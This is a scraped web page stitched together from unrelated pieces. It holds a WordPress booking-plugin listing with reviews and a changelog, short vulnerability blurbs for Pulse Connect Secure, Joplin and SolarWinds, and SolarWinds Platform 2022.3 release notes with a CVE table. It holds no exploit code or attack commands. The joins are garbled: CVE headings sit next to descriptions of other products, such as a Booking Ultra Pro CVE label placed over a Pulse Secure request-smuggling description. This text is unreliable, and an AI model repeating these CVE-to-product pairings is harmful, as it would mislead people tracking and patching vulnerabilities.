*   Reschedule Appointments
*   Custom Fields
*   **Customizable Emails**
*   Company Working Hours & Days
*   Staff Working Hours & Days
*   Time Slots
*   Padding Time (after and/or before)
*   Unlimited Services
*   Admin Calendar
*   You may also check and compare all the features

**Reasons to upgrade?**

*   Staff & Client Account With Front-End Profile
*   **Google Calendar** Integration
*   **Powerful** Booking Form Customizer
*   Shopping Cart
*   **Stripe** Integration
*   Advanced Admin Booking Panel
*   **Unlimited** Providers / Staff Members
*   Appointment Notes
*   **Flexible Pricing** – Example: First person $100, second person $85, third person $60
*   Appointment Payments
*   Multiple Appointment Forms
*   Terms & Conditions
*   MailChimp
*   **AWeber**
*   SMTP Email Sending
*   Mandrill Email
*   **Multiple Locations**. Yes, you can manage appointments for example from Salon 1, Salon 2 etc etc.
*   **Group Bookings**. Allow clients to book services for several persons at once.

**Languages**

*   Italian
*   German. Thanks to Michael Stark
*   French

**🌐Our Plugins**

If you like this plugin, consider exploring our other plugins:

⏱️ **Quiz and Survey Master** – Best WordPress Quiz Plugin to create engaging quizzes, surveys, & exams using WordPress and convert your website into a lead generating machine.

☰ **Responsive Menu** – Best WordPress Menu Builder Plugin to create awesome and interactive mobile & desktop menus for WordPress websites.

📙 **Projectopia** – Project Management & Invoicing plugin for WordPress. Generate invoices, send quotes, generate leads, manage clients, provide support – all inside your WordPress website.

⚡ **InstaWP** – Launch a quick WordPress site with this sandbox service. Create New WordPress instance within a second.

🔒 **Hide My WP** – Hide your WordPress from bots, attackers & spammers. Hides all the known URLs, paths, plugins, themes which can reveal that you are using WP, also comes with an in-built firewall & trust network.

Ownership of this plugin has changed from UsersUltra to ExpressTech on 15th Nov 2021

1.  Upload booking-ultra-pro to the /wp-content/plugins/ directory
2.  Activate the plugin through the ‘Plugins’ menu in WordPress

**Is there an online documentation?**

Yes, http://doc.bookingultrapro.com/

**Is the Staff Member allowed to manage their own appointments?**

Yes, check this link Staff & Client Account with Front-End Profile

**Do you offer free support?**

Yes, https://bookingultrapro.com/contact.php

**Why I’m not Getting Emails from Your WordPress Site?**

Please check this link http://doc.bookingultrapro.com/wordpress-is-not-sending-emails-issue/

**How To Allow Clients to Purchase Multiple Services on the Same Session?**

This feature is available only on premium versions. It allows your clients to purchase multiple services from either the same or different providers on one session. They can pay for all the services in bulk. The Booking Ultra Pro Shopping Cart is great for gyms and spa, for example the client can purchase a yoga session for the next four weeks in different time and different providers.

Please check this link http://doc.bookingultrapro.com/how-to-activate-the-shopping-cart-feature/

**Do you offer a PRO version?**

Yes, https://bookingultrapro.com/compare-packages.html

Once configured, it works pretty slick! We bought it but also got a refund after the register codes didn't take and had to track down the owners to get money back. This really could have been a great plugin. we are still using it, but manually copy and pasting to google calendar.. until we find something as easy to use and has all the options.

From their email to us: Note: In the new management, Ultimate license is valid for 1 year (before it was life time). This is done to make sure the business continue to exist and we provide continous improvements. With that kind of support, how long do they really expect to exist?

I had a problem with the plugin and got direct support. It was solved in about 10 minutes. So the support is great.

As a free plug-in, this is great. As a paid plug-in, not sure. I decided that I wanted the advanced functionality and bought a lifetime license. Right off the bat, I had a question and submitted a support ticket. It has been two weeks and they have not even marked the ticket as read. I tried finding another way to contact the support person/team, but the only way is a ticket (and the ticket is not answered). As a free plug-in, this is fine, as a premium plug-in, just be sure you won't have any questions. I don't even see a way to refund this plug-in within the refundable window without being able to talk to someone. Perhaps my problem/question is really easy to answer, but I don't know because of no response. Pro tip to all, don't buy any plug-in without ample contact methods available. -- Update Jan 2022. So, I never got any response from my support questions 6 months into having paid for the plug-in, but I did get an email from support because they were changing things. Apparently, I bought a LIFETIME license and they will only honor the LIFETIME license for 1 year. I paid excess money for a LIFETIME license, yet I am only getting a year. It would have more financial sense to have me only pay the 1 year fee. They totally just pocketed the extra money. I do not trust these people; I do no recommend you do either. It is not a safe idea to build your appointment based website off of a company that will not stick to it's word.

I just purchased the unlimited license for this plugin to use on my clients' websites and I have found it to be a great plugin. When I've contacted support, I got a response right away even before purchasing. The documentation is thorough - I was experiencing a display issue, but I found the solution in their documentation and it was super easy to fix. The plugin has a lot of features, and it has a nice front-end appearance that makes it easy for people to book appointments. After looking at a lot of the other options for booking appointments, this I felt was the best value in terms of cost and features. I seriously don't get why it has so many bad reviews, it has worked fine in my initial tests with the free version, and the paid version I've found to be working so far without any issues.

As many people have stated before, there is no support whatsoever for this plugin. It has a few bugs. There is no way to solve them without the support. I am sorry I have to give a 1 star but honestly it's been more than 2 months since my tickets have been submitted but still no answers. It's money poorly spent.

Read all 230 reviews

“Booking Ultra Pro Appointments Booking Calendar Plugin” is open source software. The following people have contributed to this plugin.

Contributors

*    ExpressTech Systems

**1.1.4 (08-09-2022)**

*   Improvement – Sendinblue Integration
*   Improvement – Improve Documentation
*   Fix – Resove Error \[bup\_staff\_list\]

**1.0.93 (09-20-2021)**

*   Improvement – We have implemented some tweaks on teh coding.
*   Fix – Compatibility issues with thirparty themes.

**1.0.92 (08-09-2021)**

*   Improvement – Updates for WP 5.8

**1.0.91 (06-22-2021)**

*   Fix – Google Calendar Update.
*   Improvement – Licencing Issue.

**1.0.90 (04-22-2021)**

*   Fix – Deleting Staff Members Issue.

**1.0.89 (04-20-2021)**

*   Fix – Deleting Category Issue.
*   Fix – Deleting Subcategory.
*   Fix – Editing User.
*   Fix – Deleting User.
*   Improvement – Improvements for WP Version 5.7.

**1.0.88 (02-07-2021)**

*   Improvement – Month View Improvement.
*   Improvement – Filter by Location.
*   Improvement – Coding Improvement.

**1.0.87 (01-29-2021)**

*   Improvement – Main Calendar on Admin Improved. Month View Issue.
*   Improvement – Filters issue.

**1.0.86 (01-08-2021)**

*   Improvement – Improvement on coding.
*   Improvement – Implement of new Calendar on Main Page at Admin Dashboard
*   Improvement – New Filters on Admin Dashboard

**1.0.85 (12-11-2020)**

*   Improvement – Localization, the plugin was not prepared for localization. Now, with the major update you will be able to translate the plugin online, right here https://translate.wordpress.org/projects/wp-plugins/booking-ultra-pro/. We had to change the textdomain, now it’s booking-ultra-pro. The translation files are in the languages folder, the prefix of the files MO and PO had changed to “booking-ultra-pro-“. This is a major change that might cause some issues with your current translations, however.. this can be resolved quikcly. Just make sure that your translation file has the mentioned prefix.
*   Improvement – class-phpmailer.php is deprecated since version 5.5.0! We have updated the coding.

**1.0.84 (10-07-2020)**

*   Improvement – PayPal IPN Update, please update ASAP

**1.0.83 (09-29-2020)**

*   Improvement – Important Updates PayPal payments issue. Update ASAP

**1.0.82 (09-28-2020)**

*   Improvement – Important Updates for new Version 5.5. Update ASAP
*   Improvement – Tweak on Staff Settings on the Admin section.

**1.0.81 (09-24-2020)**

*   Improvement – Important Updates for new Version 5.0. Update ASAP

**1.0.80 (06-24-2020)**

*   Improvement – Compatibily issues with new version of WP
*   Improvement – Code Improvement
*   Improvement – Improvement with new WP Editor

**1.0.79 (11-10-2019)**

*   Improvement – Compatibily issues with WP 5.3

**1.0.78 (04-23-2019)**

*   Improvement – Issue with Start time dropbox fixed.
*   New Feature – Private Services available only for admin.

**1.0.77 (01-19-2019)**

*   Improvement – WordPress 5.0 tweaks.

**1.0.76 (11-20-2018)**

*   Improvement – Important update on Google Calendar Feature. Full phone number with country prefix is displayed now.

**1.0.75 (11-06-2018)**

*   Improvement – New Module to clean up the database with inconsistent appointment details has been implemented.
*   Improvement – AWeber API integration update. Now. APP ID is not required anymore.
*   New Feature – **Personal, Professional & Ultimate versions only**. Option to change the background color of the user’s profile has been implemented on the staff tab.

**1.0.74 (09-22-2018)**

*   Improvement – CSS improvements.
*   Improvement – Issue with pending orders.

**1.0.73 (09-14-2018)**

*   Improvement – CSS improvements.
*   Improvement – Issue with pending orders.

**1.0.72 (09-09-2018)**

*   Improvement – SMS Feature improved. Now, the option to auto-detect the visitor’s location is optional. You can activate or deactivate the phone number prefix feature on BUP Settings.
*   Improvement – CSS styles improvement.
*   Improvement – Minor fixes issue.
*   Improvement – Authorize API update.

**1.0.71 (06-26-2018)**

*   Improvement – CSS styles conflict with third-party plugins. We’ve improved the checkout process.
*   Improvement – International cel number issue. Now, it’s displayed in the Google Calendar.

**1.0.70 (04-10-2018)**

*   New Feature – **Personal, Professional & Ultimate versions only**. Option to change more labels on the customizer.
*   New Feature – **Personal, Professional & Ultimate versions only**. SMS Reminders.
*   New Feature – **Personal, Professional & Ultimate versions only**. Change the Background color of the staff list. Check the tutorial http://doc.bookingultrapro.com/how-to-change-the-default-background-color-of-the-staff-list/
*   Improvement – CSS styles
*   Improvement – Date Picker JS conflict on custom fields
*   Improvement – Setting to remove the “Last name” from the booking form at the step 3.
*   Bug Fix – Issue with “1 time slot” translation.

**1.0.69 (10-24-2017)**

*   Improvement – IMPORTANT. Update the pluign ASAP, there was an issue with the cancellation link sending many emails. You have to update the plugin ASAP. We’re sorry about the two consecutive versions, we just try to offer a fast service when an issue is confirmed. Thank you for your understanding.

CVE-2021-36855: Booking Ultra Pro Appointments Booking Calendar Plugin

Pulse Secure version 9.115 and below may be susceptible to client-side http request smuggling, When the application receives a POST request, it ignores the request's Content-Length header and leaves the POST body on the TCP/TLS socket. This body ends up prefixing the next HTTP request sent down that connection, this means when someone loads website attacker may be able to make browser issue a POST to the application, enabling XSS.

**Related Articles**

**Information**

 

Product Affected

Pulse Connect Secure 9.1R15 and below.

Problem

Portswigger has provided a responsible disclosure of a vulnerability that affects the Pulse Collaboration feature. Their write up can be found here: https://portswigger.net/research/browser-powered-desync-attacks  
Ivanti has also requested CVE-2022-21826.  
The type of attack in this instance is a Client-Side Desync (CSD) Attack that requires an authenticated user and requires full control over an authenticated session.  This is possible between a client machine and the VPN (Pulse Connect Secure) server. 

Solution

To immediately remediate this issue, upgrade the Pulse Connect Secure server to 9.1R16 or above. The Pulse Collaboration feature that is the target of this attack is not available in this release or any releases post 9.1R16.

Please refer to KB45487 for further information.

CVSS Score

CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N CVSS Score 3.7 (Low)

CVE-2022-21826: Public KB - SA45476 - Client Side Desync Attack (Informational)

Joplin version 2.8.8 allows an external attacker to execute arbitrary commands remotely on any client that opens a link in a malicious markdown file, via Joplin. This is possible because the application does not properly validate the schema/protocol of existing links in the markdown file before passing them to the 'shell.openExternal' function.

CVE-2022-40277: GitHub - laurent22/joplin: Joplin - an open source note taking and to-do application with synchronisation capabilities for Windows, macOS, Linux, Android and iOS.

Insufficient sanitization of inputs in QoE application input field could lead to stored and Dom based XSS attack. This issue is fixed and released in SolarWinds Platform (2022.3.0).

Release date: September 28, 2022

These release notes describe the new features, improvements, and fixed issues in SolarWinds Platform 2022.3. They also provide information about upgrades and describe workarounds for known issues.

Learn more

*   For information on latest hotfixes, see SolarWinds Platform Hotfixes.
*   For release notes for previous SolarWinds Platform versions, see Previous Version documentation.
*   For information about requirements, see SolarWinds Platform 2022.3 System Requirements.
*   For information about working with the SolarWinds Platform, see the SolarWinds Platform Administrator Guide.

**New features and improvements in SolarWinds Platform**

Return to top

**Instantly Evaluate Other Products**

Evaluate SolarWinds Platform products and Hybrid Cloud Observability directly from SolarWinds Platform Web Console.

» Learn more

**New security improvements in SolarWinds Platform**

SolarWinds Platform 2022.3 offers new security improvements compared to previous releases of SolarWinds Platform.

*   Service interruptions reported from specific vulnerability scans are now prevented.
*   SHA256/512 support for SNMPv3 polling
*   Removed obsolete libraries referenced in SolarWinds Platform.

**Automatic migration of legacy syslogs and traps**

The legacy syslog and traps functionality has been retired and replaced with new functionality called SolarWinds Platform Log Viewer, which can be upgraded to Log Analyzer for additional capabilities.

Current rules and history will automatically be migrated to the new logging functionality (SolarWinds Platform Log Viewer or Log Analyzer). The functionality of SolarWinds Platform Log Viewer and Log Analyzer has been improved to more closely match legacy functionality. See LA 2022.3 release notes for details.

**New customer installation**

Return to top

For information about installing SolarWinds Platform, see SolarWinds Installer.

**How to upgrade**

Use the SolarWinds Installer to upgrade your entire SolarWinds Platform deployment (all SolarWinds Platform products and any scalability engines) to the current versions.

You must be on Orion Platform 2020.2 or later to upgrade to SolarWinds Platform 2022.3. If you are on Orion Platform 2019.4 or earlier, first upgrade to 2020.2.6 and then upgrade to SolarWinds Platform 2022.3.

**Before you upgrade**

*   Make sure all your legacy reports are migrated. You won't be able to access legacy reports and related tools anymore.
*   After upgrading to SolarWinds Hybrid Cloud Observability from an Orion Platform 2020.2.6 installation, you will need to update your MIB database.
*   Some upgrade situations from the Orion Platform to the SolarWinds Platform are not supported and the installer will stop the upgrade automatically.
    *   If you have a SQL Server older than 2016.
    *   If you have an Orion Platform product version 2019.4 or older.
*   The legacy syslog and traps functionality has been retired and replaced with new functionality called SolarWinds Platform Log Viewer, which can be upgraded to Log Analyzer for additional capabilities. Current rules and history will automatically be migrated to the new logging functionality (SolarWinds Platform Log Viewer or Log Analyzer). The functionality of SolarWinds Platform Log Viewer and Log Analyzer has been improved to more closely match legacy functionality. See LA 2022.3 release notes for details.
    
*   Before updating from Orion Platform 2020.2.6 and earlier to SolarWinds Platform 2022.3, make sure the database user you use to connect the SQL Server hosting your NTA Flow Storage database and Log Analyzer database has the **db create** privilege. Without this privilege, the update will not complete.
    

**Fixed issues**

Return to top

SolarWinds Platform 2022.3 fixes the following issues.

 

Case Number

Description

598596

An IP SLA Packet Loss view performance issue was addressed.

856512

An issue with System.Reactive deadlock after HA failover was addressed.

N/A

An issue where IP addresses for WMI interfaces were not displayed in the Details widget was addressed.

816988, 845983, 903096, 916413, 993175, 1026976

An issue with virtual machine latency and VIM datastore latency was addressed.

869953

An issue where SolarWinds Platform agent couldn't stop polling if unmanaged and remanaged was addressed.

1011473

An issue where alerts were not loading in the Alerts view was addressed.

897304, 1053919

An issue with losing SIDs for accounts was addressed.

870490

An issue where Database Maintenance did not unsubscribe when finished was addressed.

786962, 944247

An issue with SolarWinds Platform agents not responding was addressed.

845580, 861387, 908421

An issue with IP SLA entities on SolarWinds Platform Maps was addressed.

785828, 814974, 1041333, 1041944, 1060860

An issue with the status of groups/maps on SolarWinds Platform Maps was addressed.

741638

An issue with degrading performance of multi-load widgets was addressed.

618469, 785900, 828771, 839335, 895550, 920254, 1017272, 1024005, 1067887, 1076798

An issue where SolarWinds users without an explicitly defined Windows account cannot access SWQL Studio was addressed.

576343, 608927, 741638

An issue where deadlocks on SolarWinds Platform Events require index was addressed.

N/A

The issue with upgrades failing on files locked by Windows services, such as Windows Event Log when you upgrade SolarWinds Platform 2022.2 to SolarWinds Platform 2022.3 RC1 was resolved.

N/A

The issue with upgrades failing on SolarWinds Administration Service issues when upgrading SolarWinds Platform 2022.2 to SolarWinds Platform 2022.3 RC1 was resolved.

N/A

The issue with upgrades failing due to JMX Bridge service issues when you upgrade Additional Web Server for SolarWinds Platform 2022.2 to SolarWinds Platform 2022.3 RC1 was addressed.

N/A

The issue with the list of available objects not loading when you create a group selecting individual objects, save it and then want to add members to the group on SolarWinds Platform 2022.3 RC1 was resolved.

**CVEs**

SolarWinds would like to thank our Security Researchers below for reporting on the issue in a responsible manner and working with our security, product, and engineering teams to fix the vulnerability.

**Third-party CVEs**

    

CVE-ID

Vulnerability Title

Description

Severity

Credit

CVE-2018-1285

Vulnerable log4net versions

Apache log4net versions before 2.0.10 do not disable XML external entities when parsing log4net configuration files. This allows for XXE-based attacks in applications that accept attacker-controlled log4net configuration files.

Medium

N/A

CVE-2020-11022,

CVE-2020-11023

jQuery XSS vulnerability

In jQuery versions before 3.5.0, HTML from untrusted sources to one of jQuery's DOM manipulation methods may execute an untrusted code even after sanitization.

Medium

N/A

CVE-2022-0778

Open SSL vulnerability

The BN_mod_sqrt() function, which computes a modular square root, contains a bug that can cause it to loop forever for non-prime moduli.

High

N/A

**SolarWinds CVEs**

    

CVE-ID

Vulnerability Title

Description

Severity

Credit

CVE-2022-36961

Orion SQL Injection Privilege Escalation

An Orion component is vulnerable to a SQL Injection. An authenticated attacker could leverage this for privilege escalation or remote code execution.

High

N/A

CVE-2022-36965

Stored and DOM XSS attack in QoE applications

Insufficient sanitization of inputs in the QoE application input field could lead to stored and DOM-based XSS attack.

High

Shashank Chaurasia

**Known issues**

Return to top

N/A / Scalability engines are not updatable through centralized upgrade from SolarWinds Platform 2022.3 RC2 to 2022.3 GA

**Issue:** When running a centralized upgrade from SolarWinds Platform 2022.3 RC2 to SolarWinds Platform 2022.3 GA, the upgrade fails with the following message: One or more servers failed to connect or are not updatable.

**Work-around**: Upgrade the main polling engine, and then upgrade scalability engines. You can use the centralized upgrade.

**End of support**

Return to top

This version of SolarWinds Platform no longer supports the following platforms and features.

 

Type

Details

Remote Office Poller (ROP)

As of 2022.3, Remote Office Pollers are no longer sold.

SQL Server 2012 and SQL Server 2014

As of 2022.3, SolarWinds Platform only supports SQL Server 2016 SP1 and later. See SolarWinds Platform 2022.3 System Requirements.

SQL Server Express

As of 2022.3, Express editions of supported SQL Server versions are not supported for production environments. You can use SQL Express only for evaluation purposes.

Syslog Viewer

As of 2022.3, the stand-alone Syslog Viewer is no longer available on the SolarWinds Platform server. Use the Log Viewer in the SolarWinds Platform Web Console.

SNMP Trap Viewer

As of 2022.3, the stand-alone SNMP Trap Viewer is no longer available on the SolarWinds Platform server. Use the Log Viewer in the SolarWinds Platform Web Console.

Legacy Orion Report Writer

Legacy Orion Report Writer and tools related to legacy reports were removed in SolarWinds Platform 2022.2 and are no longer available in 2022.3.

*   Legacy reports are not available anywhere.
*   All tools related to legacy reports, such as Legacy Report Migration Tool or Report Writer Desktop Tool, are removed.
*   Widgets related to legacy reports are removed from the SolarWinds Platform Web Console.

**Deprecation notices**

Return to top

In SolarWinds Platform 2022.3, the following platforms and features are deprecated.

Deprecated platforms and features are still supported in the current release. However, they will be unsupported in a future release. Plan on upgrading deprecated platforms, and avoid using deprecated features. Customizations applied to a deprecated feature might not be migrated if a new feature replaces the deprecated one.

For information about supported versions of SolarWinds products, see Currently supported software versions.

 

Type

Details

Microsoft Windows Server 2012 R2

Windows Server 2012 R2 is deprecated as of this release and will not be supported in a future release.

SolarWinds recommends that you upgrade the operating system of your SolarWinds Platform server to Windows Server 2016 or later. See SolarWinds Platform 2022.3 System Requirements.

**Legal notices**

Return to top

© 2022 SolarWinds Worldwide, LLC. All rights reserved.

This document may not be reproduced by any means nor modified, decompiled, disassembled, published or distributed, in whole or in part, or translated to any electronic medium or other means without the prior written consent of SolarWinds. All right, title, and interest in and to the software, services, and documentation are and shall remain the exclusive property of SolarWinds, its affiliates, and/or its respective licensors.

SOLARWINDS DISCLAIMS ALL WARRANTIES, CONDITIONS, OR OTHER TERMS, EXPRESS OR IMPLIED, STATUTORY OR OTHERWISE, ON THE DOCUMENTATION, INCLUDING WITHOUT LIMITATION NONINFRINGEMENT, ACCURACY, COMPLETENESS, OR USEFULNESS OF ANY INFORMATION CONTAINED HEREIN. IN NO EVENT SHALL SOLARWINDS, ITS SUPPLIERS, NOR ITS LICENSORS BE LIABLE FOR ANY DAMAGES, WHETHER ARISING IN TORT, CONTRACT OR ANY OTHER LEGAL THEORY, EVEN IF SOLARWINDS HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

The SolarWinds, SolarWinds & Design, Orion, and THWACK trademarks are the exclusive property of SolarWinds Worldwide, LLC or its affiliates, are registered with the U.S. Patent and Trademark Office, and may be registered or pending registration in other countries. All other SolarWinds trademarks, service marks, and logos may be common law marks or are registered or pending registration. All other trademarks mentioned herein are used for identification purposes only and are trademarks of (and may be registered trademarks) of their respective companies.

Tag

#ssl